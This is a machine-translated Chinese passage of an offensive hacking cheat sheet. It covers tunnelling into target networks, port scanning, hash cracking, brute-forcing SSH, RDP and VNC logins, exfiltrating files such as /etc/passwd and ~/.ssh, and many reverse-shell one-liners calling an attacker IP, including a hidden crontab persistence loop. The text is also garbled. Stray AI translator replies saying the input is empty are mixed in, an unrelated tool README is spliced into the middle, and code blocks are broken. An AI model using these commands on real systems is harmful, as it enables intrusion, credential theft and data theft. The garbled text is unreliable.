 3. 选择 Debian 和 64 位。Token 不会完整显示。将灰色区域复制到单独的文档中,即可显示完整的 Token(即 `sudo cloudflared service install <TunnelTokenHere>` 之后的长十六进制字符串),从而提取 "Token"。
 4. 添加一个子域名(示例使用 `ssh.team-teso.net`)。
 5. 设置 Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

1. 简介

有些工具允许你运行一条命令,但如果你需要运行多条命令呢?

---```shell

On the TARGET, create a reverse-SOCKS connection with SSH over Cloudflare:

ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080

root@kitploit:~
您的输入似乎为空。请提供要翻译的实际内容,我将按要求将英文翻译成中文。```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

使用 ProxyChains 或 GrafTCP 进行隧道传输,通过反向代理传输其他协议。


3.iv. 通过 Socks 代理使用任何工具

使用 gsocket 创建从目标到您工作站的隧道:

在目标网络上:```sh

Create a SOCKS proxy into the target's network.

Use gs-netcat but ssh -D would work as well.

gs-netcat -l -S

root@kitploit:~
在您的工作站上:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

使用 ProxyChain:```sh

Use ProxyChain to access any host on the target's network:

echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io

Scan the router at 192.168.1.1

proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1

Start 10 nmaps in parallel:

seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}

root@kitploit:~
### 使用 GrafTCP:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

3.v. 查找你的公网 IP 地址```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com

root@kitploit:~
获取任意 IP 地址的地理位置信息:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

通过IP地址获取ASN信息:```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup

root@kitploit:~
检查 TOR 是否正常工作:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

3.vi. 从世界各地检查可达性

https://ping.pe/ 的热心人士为你提供了从世界各地对主机执行 ping/traceroute/mtr/dig/port-check 的功能,还可检查 TCP 端口、解析域名,以及进行许多其他操作。

要检查您的(当前)主机访问互联网的状况,请使用 OONI Probe:```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1

root@kitploit:~
---
<a id="check-open-ports"></a>
**3.vii. 检查/扫描 IP 上的开放端口**

[Censys](https://search.censys.io/) 或 [Shodan](https://internetdb.shodan.io) 端口查询服务:```shell
curl https://internetdb.shodan.io/1.1.1.1

快速 (-F) 漏洞扫描```shell

Version gathering

nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org

Vulns

nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org

root@kitploit:~
扫描开放的 TCP 端口:```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

(参见 Hackshell 的 scan)

简单的 bash 端口扫描器:```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED

root@kitploit:~
---
<a id="bruteforce"></a>
**3.viii. 破解密码哈希**

 1. [NTLM2password](https://ntlm.pw/) 用于破解(查询)NTLM 密码
 2. [wpa-sec](https://wpa-sec.stanev.org) 用于破解(查询)WPA PSK 密码

HashCat 是我们处理其他所有情况的首选工具:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

在 GPU 上使用 10-days 7-16 char hashmask:```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask

-d2 == Use GPU #2 only (device #2)

-O == Up to 50% faster but limits password length to <= 15

-w1 == workload low (-w3 == high)

nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2

root@kitploit:~
破解 OpenSSH 的 `known_hosts` 哈希以揭示 IP 地址:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

👉 请阅读常见问题。

请注意,$6$ 哈希非常慢。即使是1 分钟 7-16 字符哈希掩码,在 8xRTX4090 集群上也需要很多天才能完成。

可以在 vast.ai 以 $0.40/小时 的价格租用 RTX-4090 GPU 集群,并使用 dizcza/docker-hashcat:cuda(了解更多)。

否则,可以使用 Crackstation、shuck.sh、ColabCat/cloud/Cloudtopolis,或在自己的 AWS 实例上破解。

3.xi. 暴力破解密码 / 密钥

以下内容适用于对在线服务的密码进行暴力破解(猜测)。

GMail 蠢货们 - 点击这里

你无法暴力破解 GMAIL 账户。
GMAIL 上已禁用 SMTP AUTH/LOGIN。
所有 GMail 暴力破解和密码破解工具都是假的。

所有工具都已预装在 segfault 上:```shell ssh [email protected] # password is 'segfault'

root@kitploit:~
(你可能想使用你自己的 [EXIT 节点](https://www.thc.org/segfault/wireguard))

工具:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [文档](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - 非常适合在目标 IP 范围内尝试所有 ssh 密钥。

用户名和密码列表:
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >THC 的最爱<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


设置**用**户名/**密**码列表和**目**标主机。```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

有用的 Nmap 参数:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly

root@kitploit:~
有用的 **Ncrack** 参数:```shell
-U "${ULIST}"
-P "${PLIST}"

有用的 Hydra 参数:```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login

root@kitploit:~
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

-->```shell

SSH

nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"

root@kitploit:~
输入内容为空,没有可翻译的文本。```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

I'm ready to translate the chunk, but no input content was provided after "INPUT:". Please supply the text to translate.```shell

FTP

hydra -P "${PLIST}" -l user "ftp://$T"

root@kitploit:~
I don't see any content to translate in the INPUT section — it appears to be empty. Please provide the chunk text you'd like translated, and I'll proceed.```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

The INPUT section is empty — no content was provided to translate. Please supply the chunk text.```shell

POP3 (email)

nmap -p110,995 --script pop3-brute "$T"

root@kitploit:~
这是来自较长 Markdown 文档的第 180 个片段(共 494 个片段),正在按顺序翻译。```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

I apologize, but I notice that the input content for chunk 182 is missing. The "INPUT:" section at the end of your message appears to be empty, so there is no source text for me to translate.

Please provide the actual Markdown content for chunk 182, and I will translate it into Chinese according to the specified rules.```shell

PostgreSQL

nmap -p5432 --script pgsql-brute "$T"

root@kitploit:~
The input chunk is empty — no content was provided to translate. Please supply the Markdown text for chunk 184.```shell
## SMB (windows)
nmap --script smb-brute "$T"

The input content appears to be empty — no source text was provided for chunk 186. Please supply the chunk content so I can translate it.```shell

Telnet

nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"

root@kitploit:~
文件上传 — 向系统上传恶意软件或恶意文件。```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"

I received an empty input chunk, so there is no content to translate. Please provide the actual chunk text and I will translate it into Chinese.```shell

VNC (with metasploit)

msfconsole use auxiliary/scanner/vnc/vnc_login set rhosts 192.168.0.1 set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt run

root@kitploit:~
Nothing provided to translate.```shell
## HTML basic auth
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com

4. 数据上传/下载/外传

最简单的方法:在 Segfault Root Server 上输入 exfil

或者使用 curl 并运行你自己的 PHP 外传服务器。

4.i 文件编码

当目标无法访问互联网时,将文件传输到目标的技巧:将二进制文件转换为 ASCII 文本(base64),然后使用剪切与粘贴。(或者使用 gs-netcat 的高级控制台,按 Ctrl-e c 通过同一 TCP 连接传输文件。)

使用 xclip(在你的工作站上)将编码后的数据直接导入剪贴板:```shell base64 -w0 </etc/issue.net | xclip

root@kitploit:~
#### >>> UU 编码/解码```sh
## uuencode 
uuencode /etc/issue.net issue.net-COPY
输出 - 点击此处

begin 644 issue.net-COPY
72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH`
`
end

```sh ## uudecode (cut & paste the 3 lines from above): uudecode ``` #### >>> base64 编码/解码```sh base64 -w0 输出 - 点击这里

VWJ1bnR1IDE4LjA0LjIgTFRTCg==

```sh base64 -d >issue.net-COPY ``` #### >>> Openssl 编码/解码```sh openssl base64 输出 - 点击此处

VWJ1bnR1IDE4LjA0LjIgTFRTCg==

```sh openssl base64 -d >issue.net-COPY ``` #### >>> xxd 编码/解码```sh xxd -p 输出 - 点击此处

4b616c6920474e552f4c696e757820526f6c6c696e670a

```sh xxd -p -r >issue.net-COPY ``` --- ### 4.ii. 文件传输 - 使用剪切与粘贴

在远程计算机上粘贴到文件中(注意使用 <<-'__EOF__' 以避免弄乱制表符或 $ 变量)。```sh cat >output.txt <<-'EOF' [...] EOF ### Finish your cut & paste by typing EOF

root@kitploit:~
---
<a id="xfer-tmux"></a>
### 4.iii. 文件传输 - 使用 *tmux*

在工作站上启动 `tmux`。以任何你喜欢的方式(ssh、gs-netcat 等)连接到目标。

#### 从远程到本地(下载)

使用 [Tmux-Logging](#tmux) 通过终端将大文件从目标下载到你的工作站。

#### 从本地到远程(上传)

在远程端启动你最喜欢的解码工具(base64):```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

在您的工作站上,并从另一个终端,发送 base64 编码的数据。它将到达您 REMOTE 上的 screen-xfer.txt 中。```shell tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'

Press 'Ctrl-d' in the receiving terminal.

Optional: Use -t foo:1.2 to send to window #1 and pane #2 instead.

Optional: Use 'Ctrl-b ,' to rename the window

root@kitploit:~
---
<a id="file-transfer-screen"></a>
### 4.vi. 文件传输 - 使用 *screen*

#### 从远程到本地(下载)

在你的本地计算机上运行一个 *screen*,并从你的 shell 中登录远程系统。指示你本地的 screen 将所有输出记录到 screen-xfer.txt:

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

我们使用 *openssl* 来编码数据,但上述任何编码方法都可以。此命令将在终端中显示 base64 编码的数据,而 *screen* 会将这些数据写入 *screen-xfer.txt*:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

停止本地屏幕记录任何进一步的数据:

CTRL-a H

在本地计算机上解码文件:```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt

root@kitploit:~
#### 从本地到远程(上传)

在本地系统上对数据进行编码:```sh
openssl base64 </etc/issue.net >screen-xfer.txt

在远程系统上(并在当前 screen 中):```sh openssl base64 -d

root@kitploit:~
让 *screen* 将 base64 编码的数据读取到 screen 的剪贴板中,然后将数据从剪贴板粘贴到远程系统:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

注意:由于 [openssl 的一个 bug](https://github.com/openssl/openssl/issues/9355),需要按两次 CTRL-d。

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. 文件传输 - 使用 gs-netcat 和 sftp

使用 [gs-netcat](https://github.com/hackerschoice/gsocket) 并在其中封装 sftp 协议。允许访问 NAT/防火墙后面的主机。```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

从您的工作站执行以下命令以连接到SFTP服务器:```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation

root@kitploit:~
或者要 DUMP 单个文件:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

4.vi. 文件传输 - 使用 HTTPs

从服务器下载到接收端:

在发送方/服务器上:```sh

Spawn a temporary HTTP server and share the current working directory.

python -m http.server 8080 --bind 127.0.0.1 &

alternative: php -S 127.0.0.1:8080

cloudflared tunnel -url localhost:8080

root@kitploit:~
Receiver: 通过任意浏览器访问该 URL,以查看/下载远程文件系统。

#### 1 - 使用 PHP 上传:

在接收端:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

在发送方:```posh

Set a function:

up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }

upload files like so:

up warez.tar.gz up /etc/passwd

root@kitploit:~
#### 2 - 使用 PYTHON 上传:

在接收端:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

在发件人端:```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'

root@kitploit:~
---
<a id="download"></a>
### 4.vii. 不使用 curl 下载文件

仅使用 Python 下载:```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

示例:使用 purl 安装 gsocket:```sh

cut & paste the above purl() function into your bash. Then cut & paste the following:

source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct

root@kitploit:~
使用 OpenSSL,仅下载:```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

使用 Perl,仅下载:```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }

lurl ipinfo.io

root@kitploit:~
使用 bash,仅下载:```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

4.viii. 使用公共转储进行文件传输

复制粘贴到您的 bash 中:```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }

root@kitploit:~
然后上传一个文件或目录:```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

我们最喜欢的公共上传站点列表。


4.ix. 文件传输 - 使用 rsync

非常适合同步大量目录或重新开始中断的传输。以下示例通过从发送方到接收方的单个 TCP 连接,将名为 'warez' 的目录传输到接收方。

接收方:```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach

root@kitploit:~
发件人:```posh
rsync -av warez rsync://1.2.3.4:31337/up

使用相同方式加密(OpenSSL):

接收者:```posh

use rsa:2048 if ed25519 is not supported (e.g. rsync connection error)

openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"

root@kitploit:~
发件人:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

Rsync 可以与 https / cloudflared 原始 TCP 隧道 结合使用来进行数据外传。
(若要从 Windows 外传数据,请使用 gsocket windows package 中的 rsync.exe)。另一种噪音更大的解决方案是 syncthing。

专业提示:懒惰的黑客只需在 segfault.net 上输入 exfil。


4.x. 文件传输 - 使用 WebDAV

在接收端(例如 segfault.net)启动 Cloudflare-Tunnel 和 WebDAV:```sh cloudflared tunnel --url localhost:8080 &

[...]

+--------------------------------------------------------------------------------------------+

| Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |

| https://example-foo-bar-lights.trycloudflare.com |

+--------------------------------------------------------------------------------------------+

[...]

wsgidav --port=8080 --root=. --auth=anonymous

root@kitploit:~
在另一台服务器上:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

在文件资源管理器中从 Windows 访问共享(以便拖放文件):``` \example-foo-bar-lights.trycloudflare.com@SSL\sources

root@kitploit:~
或者在 Windows 上挂载 WebDAV 共享(Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

4.xi. 文件传输到 Telegram

虽然有数不胜数的上传服务,但 TG 是一个简洁的替代方案。从 TG BotFather 获取一个 TG-Bot-Token。然后创建一个新的 TG 群组,并将你的机器人添加到该群组。获取该群组的 chat_id:```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq

If you get only {"ok":true,"result":[]} then remove and add the bot again.

root@kitploit:~
请提供需要翻译的Markdown内容。```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

5. 反向 Shell / 哑 Shell(Dumb Shell)

提示:使用 https://www.revshells.com/ 👌

5.i.a. 使用 gs-netcat 的反向 Shell(加密)

参见 6. 后门,了解如何使用 https://gsocket.io/deploy 通过一行命令部署并访问功能完整的 PTY 反向 Shell。

5.i.b. 使用 Bash 的反向 Shell

在你的系统上启动 netcat 监听 1524 端口:```sh nc -nvlp 1524

root@kitploit:~
连接后,[升级](#reverse-shell-interactive)你的 shell 为完全交互式的 PTY shell。或者使用 [pwncat-cs](https://pwncat.org/) 代替 netcat:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

在远程系统上,此命令将反向连接到您的系统(IP = 3.13.3.7,端口 1524)并为您提供 shell 提示符:```sh

If the current shell is Bash already:

(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)

If the current shell is NOT Bash then we need:

bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

or hide the bash process as 'kqueue'

bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

root@kitploit:~
或者,在远程系统上,将其放入 `~/.profile` 或 crontab 中,以重新启动反弹 shell(并防止多个实例被启动):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

5.i.c. 使用 cURL 的反向 Shell(加密)

使用 curlshell。这也适用于通过代理,以及当禁止与外部世界直接 TCP 连接时:```sh

On YOUR workstation

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080

root@kitploit:~
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

5.i.d 使用 cURL 进行反向 Shell(明文)

启动 ncat 以监听多个连接:```sh ncat -kltv 1524

root@kitploit:~
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

5.i.e. 使用 OpenSSL 的反向 Shell(加密)```sh

On YOUR workstation:

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

openssl s_server -port 1524 -cert cert.pem -key key.pem

Or pwncat:

pwncat -lp 1524 --ssl

root@kitploit:~
### 要求

- Docker
- Docker Compose

### 安装

克隆仓库并运行 docker compose:

`git clone https://github.com/arthurdd/scripthunter-framework.git`

Python 脚本会自动生成安装。为此,运行以下命令:

`python3 install.py --install`

### 使用

通过 Python 脚本运行 docker compose 后,框架会自动执行。要进行新的查询,运行 Python 脚本:

`python3 install.py --run`

### 访问之前的数据

所有收集的数据都存储在位于 `app/database.db` 的 sqlite3 数据库中。为了更好地查看数据,需要使用 SGBD,例如 DBeaver。连接到数据库后,执行以下查询:

`SELECT * FROM software WHERE software.potentially_phishing = 1 ORDER BY software.name ASC;`

### 防火墙

Scripthunter 将通过 Docker 容器的 IP 地址运行。为了使其正常工作,需要进行相应的防火墙配置,例如根据容器的 IP 地址开放端口和配置本地网络。

### 注意事项

Scripthunter 是一个可能被用于恶意目的的工具。不当使用该工具的责任在于用户。开发者不对因不当使用该工具而造成的任何损害负责。

### 待办

- [ ] 其他改进```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

5.i.f. 不使用 /dev/tcp 的反向 shell

嵌入式系统并不总是有 Bash,/dev/tcp/ 技巧将无法使用。还有许多其他方式(Python、PHP、Perl 等)。我们最喜欢的是上传 netcat 并使用 netcat 或 telnet:

在远程系统上:```sh nc -e /bin/sh -vn 3.13.3.7 1524

root@kitploit:~
如果 *'-e'* 不受支持时的变体:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
  • 在现代 shell 中,这可以简写为 { nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|:。 (感谢 IA_PD)。
  • | : 技巧在 C-Shell/tcsh(FreeBSD)、原始 Bourne shell(Solaris)或 Korn shell(AIX)上无效。请改用 mkfifo。

适用于较旧 /bin/sh 的变体:```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io

root@kitploit:~
Telnet变体:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

不支持 mkfifo 时的 Telnet 变体(Ulg!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio

root@kitploit:~
注意:登录后别忘了执行 `rm /tmp/.fio`。

<a id="revese-shell-remote-moe"></a>
**5.i.h. 通过 remote.moe 和 ssh 实现反向 Shell(加密)**

可以通过 [remote.moe](https://remote.moe) 隧道传输原始 TCP(例如 bash 反向 Shell):

在你的工作站上:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

在目标上(需要 SSH 和 Bash):```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'

root@kitploit:~
在目标上(替代方案;需要 ssh、bash 和 mkfifo):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

使用 Python 的反向 Shell```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

root@kitploit:~
<a id="reverse-shell-perl"></a>
**5.i.j. 使用 Perl 的反向 Shell**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

